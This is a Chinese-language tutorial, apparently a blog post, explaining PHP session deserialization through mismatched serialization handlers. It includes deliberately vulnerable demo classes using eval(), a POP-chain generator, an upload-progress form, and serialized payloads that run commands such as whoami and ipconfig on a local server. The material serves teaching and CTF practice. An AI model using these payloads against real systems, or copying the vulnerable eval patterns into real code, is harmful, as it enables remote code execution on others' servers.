0x01 PHP session序列化机制

当session_start()被调用或者php.ini中session.auto_start为1时,PHP内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(默认为/tmp)。

session序列化及反序列化处理器

PHP 内置了多种处理器用于存取 $_SESSION 数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式:

处理器 对应的存储格式
php 键名 + 竖线 + 经过 serialize() 函数反序列处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
php_serialize (php>=5.5.4) 经过 serialize() 函数反序列处理的数组

与session存储相关的配置项

配置文件php.ini中含有这几个与session存储相关的配置项:

1
2
3
session.save_path ="E:/wamp64/tmp"   --设置session的存储路径,默认在/tmp
session.auto_start = 0 --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler = php --定义用来序列化/反序列化的处理器名字。默认使用php

PHP 提供了 session.serialize_handler 配置选项,通过该选项可以设置序列化及反序列化时使用的处理器,默认为php。如果要修改为其他的引擎,只需要添加代码ini_set(‘session.serialize_handler’, ‘需要设置的引擎’),如下所示:

1
2
3
4
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
// do something

存储机制

php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。

存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容。

下面用个简单的Demo看看存储的形式:

example.php,这时是使用默认的处理器即PHP:

1
2
3
4
<?php
session_start();
$_SESSION['m7'] = $_GET['m7'];
?>

可在session.save_path对应路径下看到一个新生成的session文件,这里名为sess_cj15cikdujk6uv3bdq6qvonbe7,可以看到存储格式为:键名 + 竖线 + 经过 serialize() 函数反序列处理的值

添加一行代码修改处理器为php_serialize:

1
2
3
4
5
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['m7'] = $_GET['m7'];
?>

格式:经过serialize()函数反序列处理的数组

修改处理器为php_binary:

1
2
3
4
5
<?php
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['m7'] = $_GET['m7'];
?>

可以看到:键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值

0x02 PHP session反序列化漏洞

PHP session反序列化漏洞,简单点说,就是当网站序列化并存储Session与反序列化并读取Session的方式不同时就可能导致session反序列化漏洞的产生。

漏洞Demo

save.php,和前面的demo一样,这里用的是php_serialize处理器:

1
2
3
4
5
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['m7'] = $_GET['m7'];
?>

session_vul.php,这里用的是默认的php处理器,可以不添加该行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php 
ini_set('session.serialize_handler','php');
session_start();

class mi1k7ea{
var $a;
function __destruct(){
eval($this->a);
}
// function __destruct(){
// system($this->a);
// }
// function __sleep(){
// eval($this->a);
// return array('a');
// }
// function __wakeup(){
// eval($this->a);
// }
}
?>

访问包含恶意构造序列化对象的URL:

1
save.php?m7=|O:7:"mi1k7ea":1:{s:1:"a";s:10:"phpinfo();";}

打开session文件可看到序列化存储的内容,再访问session_vul.php即可看到php代码被执行了:

这是因为php引擎会以|作为key和value的分隔符,将a:1:{s:2:”m7”;s:45:”作为SESSION的key,将O:7:”mi1k7ea”:1:{s:1:”a”;s:10:”phpinfo();”;}作为value,然后进行反序列化,就会实例化mi1k7ea对象,最后就会执行__destruct()函数中的eval()方法,相当于执行如下:

1
2
$_SESSION['m7'] = new mi1k7ea();
$_SESSION['m7']->a = 'phpinfo();';

0x03 题目

这里网上看的一道session反序列化题目,在此复现一下。

三个PHP文件如下:

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php

highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);

class foo1{
public $varr;
function __construct(){
$this->varr = "i.php";
}
function __destruct(){
if(file_exists($this->varr)){
echo "<br>文件".$this->varr."存在<br>";
}
echo "<br>这是foo1的析构函数<br>";
}
}

class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = null;
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
function __desctuct(){
echo "<br>这是foo2的析构函数<br>";
}
}

class foo3{
public $varr;
function execute(){
eval($this->varr);
}
function __desctuct(){
echo "<br>这是foo3的析构函数<br>";
}
}

?>

i.php

1
2
3
4
5
6
7
8
<?php
ini_set('session.serialize_handler', 'php');
require("./class.php");
session_start();

$obj = new foo1();
$obj->varr = "phpinfo.php";
?>

phpinfo.php

1
2
3
4
5
6
7
8
<?php
session_start();
require("./class.php");

$f3 = new foo3();
$f3->varr = "phpinfo();";
$f3->execute();
?>

可以看到,i.php中用的是php处理器。

在php.ini中的关键配置,注意配置中的session.serialize_handler:

1
2
3
session.serialize_handler = php_serialize
session.upload_progress.cleanup=Off
session.upload_progress.enabled=On

可以访问phpinfo.php查看配置信息:

默认是采用php处理器处理session,session.upload_progress.cleanup配置为Off,session.upload_progress.enabled配置为On。

说下session.upload_progress.enabled,当它为开启状态时,PHP能够在每一个文件上传时监测上传进度。当一个上传在处理中,同时POST一个与php.ini中设置的session.upload_progress.name同名变量时,上传进度就可以在\$_SESSION中获得。当PHP检测到这种POST请求时,它会在\$_SESSION中添加一组数据, 索引是session.upload_progress.prefix与 session.upload_progress.name连接在一起的值。

当前代码的话没有向服务器提交数据,但是现在session.upload_progress.enabled是开启的,所以可以通过上传文件,从而在session文件中写入数据。

也就是说,利用点是通过session.upload_progress.enabled来上传文件向session文件中写入php_serialize处理器格式的内容,从而与i.php中php处理器不同进而造成session反序列化漏洞的存在。

poc.php,用于生成序列化poc,在foo1中的构造函数中定义\$varr的值为foo2的实例,在foo2中定义\$obj为foo3的实例,在foo3中定义\$varr的值为system(‘whoami’);:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class foo3{
public $varr;
function __construct(){
$this->varr = "system('whoami');";
}
}

class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1';
$this->obj = new foo3();
}
}

class foo1{
public $varr;
function __construct(){
$this->varr = new foo2();
}
}

echo serialize(new foo1());
?>

form.html,一个向i.php提交POST请求的表单文件,其中包括PHP_SESSION_UPLOAD_PROGRESS变量:

1
2
3
4
5
<form action="http://127.0.0.1/i.php" method="POST" enctype="multipart/form-data">     
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>

Burpsuite截断该form.html发送的POST请求,在PHP_SESSION_UPLOAD_PROGRESS一栏中的值加上poc.php生成的poc就能够成功执行命令了:

1
|O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:1:"1";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:19:"system("ipconfig");";}}}

换其他命令的话直接换poc.php生成的poc即可:

0x04 参考

关于PHP SESSION反序列化